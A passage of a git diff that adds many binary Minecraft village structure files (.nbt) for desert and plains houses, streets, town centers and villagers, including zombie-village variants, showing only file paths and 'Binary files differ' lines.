b/src/data/minecraft/structures/village/desert/villagers/nitwit.nbt new file mode 100644 index 00000000..5e602e57 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/desert/villagers/unemployed.nbt b/src/data/minecraft/structures/village/desert/villagers/unemployed.nbt new file mode 100644 index 00000000..f26554a0 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_1.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_1.nbt new file mode 100644 index 00000000..0998654a Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_2.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_2.nbt new file mode 100644 index 00000000..9c516da1 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_1.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_1.nbt new file mode 100644 index 00000000..0d2ed0cc Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_2.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_2.nbt new file mode 100644 index 00000000..6765d09e Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_3.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_3.nbt new file mode 100644 index 00000000..97b39915 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_4.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_4.nbt new file mode 100644 index 00000000..e5c16cf3 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_5.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_5.nbt new file mode 100644 index 00000000..2763b99a Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_6.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_6.nbt new file mode 100644 index 00000000..375c0daf Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_7.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_7.nbt new file mode 100644 index 00000000..027a7141 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_8.nbt b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_8.nbt new file mode 100644 index 00000000..20c0c8a4 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/houses/desert_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/corner_01.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/corner_01.nbt new file mode 100644 index 00000000..e4ce6dd0 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/corner_02.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/corner_02.nbt new file mode 100644 index 00000000..2f1db6b3 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_01.nbt new file mode 100644 index 00000000..1a89289e Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_02.nbt new file mode 100644 index 00000000..08663d02 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_03.nbt new file mode 100644 index 00000000..a2d299e4 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/square_01.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/square_01.nbt new file mode 100644 index 00000000..5ab0cbc9 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/square_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/square_02.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/square_02.nbt new file mode 100644 index 00000000..9f3fdfd2 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/square_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/straight_01.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/straight_01.nbt new file mode 100644 index 00000000..70a7b651 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/straight_02.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/straight_02.nbt new file mode 100644 index 00000000..97ba84b2 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/straight_03.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/straight_03.nbt new file mode 100644 index 00000000..33c6c030 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/streets/turn_01.nbt b/src/data/minecraft/structures/village/desert/zombie/streets/turn_01.nbt new file mode 100644 index 00000000..ab6b5569 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/terminators/terminator_02.nbt b/src/data/minecraft/structures/village/desert/zombie/terminators/terminator_02.nbt new file mode 100644 index 00000000..c8da4890 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/terminators/terminator_02.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_1.nbt b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_1.nbt new file mode 100644 index 00000000..0f5d58ac Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_2.nbt b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_2.nbt new file mode 100644 index 00000000..76963fe6 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_3.nbt b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_3.nbt new file mode 100644 index 00000000..227d0eee Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/town_centers/desert_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/villagers/nitwit.nbt b/src/data/minecraft/structures/village/desert/zombie/villagers/nitwit.nbt new file mode 100644 index 00000000..7e2709ae Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/desert/zombie/villagers/unemployed.nbt b/src/data/minecraft/structures/village/desert/zombie/villagers/unemployed.nbt new file mode 100644 index 00000000..983a2cd9 Binary files /dev/null and b/src/data/minecraft/structures/village/desert/zombie/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_accessory_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_accessory_1.nbt new file mode 100644 index 00000000..659e93f4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_accessory_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_1.nbt new file mode 100644 index 00000000..8c71bae6 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_2.nbt new file mode 100644 index 00000000..16fa0347 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_3.nbt b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_3.nbt new file mode 100644 index 00000000..164b32de Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_animal_pen_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_armorer_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_armorer_house_1.nbt new file mode 100644 index 00000000..ba4df01f Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_armorer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_big_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_big_house_1.nbt new file mode 100644 index 00000000..9e100287 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_big_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_1.nbt new file mode 100644 index 00000000..76dba6fe Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_2.nbt new file mode 100644 index 00000000..4cbf4f9c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_butcher_shop_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_cartographer_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_cartographer_1.nbt new file mode 100644 index 00000000..9765d860 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_cartographer_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_fisher_cottage_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_fisher_cottage_1.nbt new file mode 100644 index 00000000..2f1409a7 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_fisher_cottage_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_fletcher_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_fletcher_house_1.nbt new file mode 100644 index 00000000..353435b8 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_large_farm_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_large_farm_1.nbt new file mode 100644 index 00000000..0337f884 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_large_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_library_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_library_1.nbt new file mode 100644 index 00000000..0c40d90e Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_library_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_library_2.nbt new file mode 100644 index 00000000..c2ba4dfb Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_library_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_masons_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_masons_house_1.nbt new file mode 100644 index 00000000..ec856899 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_masons_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_medium_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_medium_house_1.nbt new file mode 100644 index 00000000..94e84c1b Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_medium_house_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_medium_house_2.nbt new file mode 100644 index 00000000..7e3be103 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_4.nbt b/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_4.nbt new file mode 100644 index 00000000..d612613d Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_4.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_5.nbt b/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_5.nbt new file mode 100644 index 00000000..6140afe0 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_meeting_point_5.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_shepherds_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_shepherds_house_1.nbt new file mode 100644 index 00000000..dad468cf Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_shepherds_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_farm_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_farm_1.nbt new file mode 100644 index 00000000..4f5ed082 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_1.nbt new file mode 100644 index 00000000..55ba1346 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_2.nbt new file mode 100644 index 00000000..bb0d84fe Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_3.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_3.nbt new file mode 100644 index 00000000..53f42b3d Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_4.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_4.nbt new file mode 100644 index 00000000..e6759450 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_5.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_5.nbt new file mode 100644 index 00000000..e776d2da Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_6.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_6.nbt new file mode 100644 index 00000000..46906ee0 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_6.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_7.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_7.nbt new file mode 100644 index 00000000..7a7912e3 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_7.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_small_house_8.nbt b/src/data/minecraft/structures/village/plains/houses/plains_small_house_8.nbt new file mode 100644 index 00000000..8f1d2c27 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_small_house_8.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_stable_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_stable_1.nbt new file mode 100644 index 00000000..b6a10a00 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_stable_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_stable_2.nbt b/src/data/minecraft/structures/village/plains/houses/plains_stable_2.nbt new file mode 100644 index 00000000..c98b987d Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_stable_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_tannery_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_tannery_1.nbt new file mode 100644 index 00000000..85a764ca Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_tannery_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_temple_3.nbt b/src/data/minecraft/structures/village/plains/houses/plains_temple_3.nbt new file mode 100644 index 00000000..66e94052 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_temple_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_temple_4.nbt b/src/data/minecraft/structures/village/plains/houses/plains_temple_4.nbt new file mode 100644 index 00000000..adf9d637 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_temple_4.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_tool_smith_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_tool_smith_1.nbt new file mode 100644 index 00000000..04fc6bb0 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/houses/plains_weaponsmith_1.nbt b/src/data/minecraft/structures/village/plains/houses/plains_weaponsmith_1.nbt new file mode 100644 index 00000000..0f002487 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/houses/plains_weaponsmith_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/plains_lamp_1.nbt b/src/data/minecraft/structures/village/plains/plains_lamp_1.nbt new file mode 100644 index 00000000..b435e843 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/plains_lamp_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/corner_01.nbt b/src/data/minecraft/structures/village/plains/streets/corner_01.nbt new file mode 100644 index 00000000..a8f01c3f Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/corner_02.nbt b/src/data/minecraft/structures/village/plains/streets/corner_02.nbt new file mode 100644 index 00000000..e895d4eb Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/corner_03.nbt b/src/data/minecraft/structures/village/plains/streets/corner_03.nbt new file mode 100644 index 00000000..094607f2 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_01.nbt new file mode 100644 index 00000000..298c1613 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_02.nbt new file mode 100644 index 00000000..2ec416f1 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_03.nbt new file mode 100644 index 00000000..78c6339e Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_04.nbt new file mode 100644 index 00000000..b12909d2 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_05.nbt new file mode 100644 index 00000000..5a58819c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/plains/streets/crossroad_06.nbt new file mode 100644 index 00000000..d3b08535 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_01.nbt b/src/data/minecraft/structures/village/plains/streets/straight_01.nbt new file mode 100644 index 00000000..ca74098b Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_02.nbt b/src/data/minecraft/structures/village/plains/streets/straight_02.nbt new file mode 100644 index 00000000..d23bf33f Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_03.nbt b/src/data/minecraft/structures/village/plains/streets/straight_03.nbt new file mode 100644 index 00000000..ef29b106 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_04.nbt b/src/data/minecraft/structures/village/plains/streets/straight_04.nbt new file mode 100644 index 00000000..fbcad61c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_05.nbt b/src/data/minecraft/structures/village/plains/streets/straight_05.nbt new file mode 100644 index 00000000..183efdc8 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/straight_06.nbt b/src/data/minecraft/structures/village/plains/streets/straight_06.nbt new file mode 100644 index 00000000..ccbe1190 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/plains/streets/turn_01.nbt b/src/data/minecraft/structures/village/plains/streets/turn_01.nbt new file mode 100644 index 00000000..f2299feb Binary files /dev/null and b/src/data/minecraft/structures/village/plains/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/terminators/terminator_01.nbt b/src/data/minecraft/structures/village/plains/terminators/terminator_01.nbt new file mode 100644 index 00000000..78273bc2 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/terminators/terminator_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/terminators/terminator_02.nbt b/src/data/minecraft/structures/village/plains/terminators/terminator_02.nbt new file mode 100644 index 00000000..ecd265b7 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/terminators/terminator_02.nbt differ diff --git a/src/data/minecraft/structures/village/plains/terminators/terminator_03.nbt b/src/data/minecraft/structures/village/plains/terminators/terminator_03.nbt new file mode 100644 index 00000000..e1529f77 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/terminators/terminator_03.nbt differ diff --git a/src/data/minecraft/structures/village/plains/terminators/terminator_04.nbt b/src/data/minecraft/structures/village/plains/terminators/terminator_04.nbt new file mode 100644 index 00000000..769dce26 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/terminators/terminator_04.nbt differ diff --git a/src/data/minecraft/structures/village/plains/town_centers/plains_fountain_01.nbt b/src/data/minecraft/structures/village/plains/town_centers/plains_fountain_01.nbt new file mode 100644 index 00000000..23f16a28 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/town_centers/plains_fountain_01.nbt differ diff --git a/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_1.nbt b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_1.nbt new file mode 100644 index 00000000..5ed512b7 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_2.nbt b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_2.nbt new file mode 100644 index 00000000..cbe2658c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_3.nbt b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_3.nbt new file mode 100644 index 00000000..c51e5025 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/town_centers/plains_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/villagers/baby.nbt b/src/data/minecraft/structures/village/plains/villagers/baby.nbt new file mode 100644 index 00000000..8741a464 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/villagers/baby.nbt differ diff --git a/src/data/minecraft/structures/village/plains/villagers/nitwit.nbt b/src/data/minecraft/structures/village/plains/villagers/nitwit.nbt new file mode 100644 index 00000000..e4e9f3c3 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/plains/villagers/unemployed.nbt b/src/data/minecraft/structures/village/plains/villagers/unemployed.nbt new file mode 100644 index 00000000..be616912 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_animal_pen_3.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_animal_pen_3.nbt new file mode 100644 index 00000000..30440af4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_animal_pen_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_big_house_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_big_house_1.nbt new file mode 100644 index 00000000..872695b4 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_big_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_butcher_shop_2.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_butcher_shop_2.nbt new file mode 100644 index 00000000..f981c2ed Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_butcher_shop_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_fletcher_house_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_fletcher_house_1.nbt new file mode 100644 index 00000000..d6a69662 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_1.nbt new file mode 100644 index 00000000..dc2b6ec5 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_2.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_2.nbt new file mode 100644 index 00000000..8406702d Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_4.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_4.nbt new file mode 100644 index 00000000..43c44ce2 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_4.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_5.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_5.nbt new file mode 100644 index 00000000..500b6c95 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_meeting_point_5.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_shepherds_house_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_shepherds_house_1.nbt new file mode 100644 index 00000000..eb290349 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_shepherds_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_1.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_1.nbt new file mode 100644 index 00000000..2ad135c5 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_2.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_2.nbt new file mode 100644 index 00000000..1c393db8 Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_3.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_3.nbt new file mode 100644 index 00000000..96cedb4f Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_4.nbt b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_4.nbt new file mode 100644 index 00000000..6dd0638c Binary files /dev/null and b/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/plains/zombie/houses/plains_small_house_5.nbt 